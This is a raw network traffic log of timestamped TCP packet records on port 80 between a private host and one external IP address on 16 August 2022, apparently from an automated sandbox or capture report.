Aug 16, 2022 11:06:00.970504045 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.970523119 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.970541954 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.970546961 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.970560074 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.970573902 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.970578909 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.970602036 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.970603943 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.970623016 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.970628023 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.970640898 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.970659971 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.970675945 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.970689058 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.970701933 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.970721006 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.970746040 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.990060091 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.990092993 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.990111113 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.990128994 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.990166903 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.990200996 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.990247011 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.990293026 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.990307093 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.990329981 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.990349054 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.990365028 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:00.990533113 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:00.993622065 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181423903 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181457043 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181476116 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181498051 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181516886 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181529045 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181535959 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181554079 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181560040 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181571960 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181590080 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181590080 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181608915 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181612015 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181627035 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181646109 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181662083 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181668997 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181679964 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181687117 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181705952 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181705952 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181724072 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181730032 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181751013 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181751966 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181766987 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181771040 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181790113 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181787968 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181808949 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181826115 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181833982 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181843996 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181862116 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181864023 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181884050 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181900024 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181900024 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181912899 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181917906 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181942940 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181952953 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.181988001 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.181993961 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.182003975 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.182015896 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.182025909 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.182037115 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.182045937 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.182061911 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.182087898 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.182137012 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.210208893 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.210238934 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.210406065 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.212790966 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.392735004 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.392784119 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.392847061 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.392888069 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.396389961 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.426187992 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.426261902 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.426309109 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.426316023 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.426348925 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.426350117 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.426354885 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.426390886 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.426429033 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.426450014 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.426500082 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.429392099 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.607722044 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.607811928 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.607858896 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.607867956 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.607883930 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.607930899 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.607949972 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.607983112 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608031988 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.608038902 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608087063 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.608094931 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.608094931 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608146906 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608198881 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608206034 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.608259916 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608316898 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608321905 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.608375072 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608428955 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608431101 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.608483076 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.608484030 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608540058 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608592987 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608649969 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608681917 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.608690977 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.608710051 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608764887 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.608766079 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608788013 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.608822107 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608822107 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.608880997 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608931065 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.608942032 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.609102964 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.611206055 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.642011881 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.642077923 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.642102003 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.642126083 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.642126083 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.642153025 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.642170906 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.642179966 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.642191887 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.642205954 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.642221928 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.642231941 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.642256021 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.642257929 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.642282009 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.642290115 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.642307043 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.642308950 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.642330885 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.642335892 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.642353058 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.642358065 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.642374039 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.642379999 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.642402887 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.642427921 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.645900011 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.822712898 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.822770119 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.822810888 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.822829962 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.822850943 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.822877884 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.822899103 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.822913885 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.822943926 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.822984934 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.822998047 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.823029041 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.823040009 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.823072910 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.823081017 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.823113918 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.823156118 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.823164940 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.823198080 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.823239088 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.823246956 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.823282003 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.823287010 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.823323965 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.823375940 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.823559999 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.823605061 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.823662043 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:01.862282038 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:01.865499973 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:06.830606937 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:06.830847025 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:06.886567116 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:06.886641979 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.247560024 CEST	49784	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.249056101 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.249149084 CEST	49785	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.460081100 CEST	80	49785	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.461929083 CEST	80	49784	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.464534044 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.490791082 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.490993023 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.497101068 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.685978889 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.686271906 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.688158035 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.738559008 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.738913059 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.738948107 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.738967896 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.738990068 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.739013910 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.739015102 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.739034891 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.739056110 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.739063025 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.739078045 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.739083052 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.739099979 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.739119053 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.739121914 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.739147902 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.739177942 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.901834011 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.901918888 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.901983976 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.902045965 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.902074099 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.902111053 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.902169943 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.902172089 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.902232885 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.902287006 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.902290106 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.902348042 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.902404070 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.902410984 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.902466059 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.902523041 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982219934 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982270002 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982301950 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982332945 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982353926 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982361078 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982398033 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982398987 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982429028 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982430935 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982459068 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982466936 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982486963 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982491016 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982510090 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982522964 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982539892 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982554913 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982582092 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982601881 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982610941 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982636929 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982641935 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982666969 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982671976 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982688904 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982702971 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982732058 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982748985 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982762098 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982777119 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982791901 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982796907 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982819080 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982819080 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:08.982837915 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:08.982861996 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.122073889 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.122104883 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.122123003 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.122138977 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.122153997 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.122162104 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.122189999 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.122190952 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.122208118 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.122236013 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.122257948 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.124037981 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224134922 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224167109 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224184990 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224205017 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224221945 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224262953 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224272966 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224281073 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224298954 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224299908 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224320889 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224351883 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224355936 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224397898 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224416971 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224427938 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224436045 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224452972 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224467993 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224486113 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224487066 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224508047 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224514961 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224530935 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224539995 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224550962 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224571943 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224572897 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224626064 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224643946 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.224668026 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.224673986 CEST	80	49795	187.45.240.69	192.168.2.4
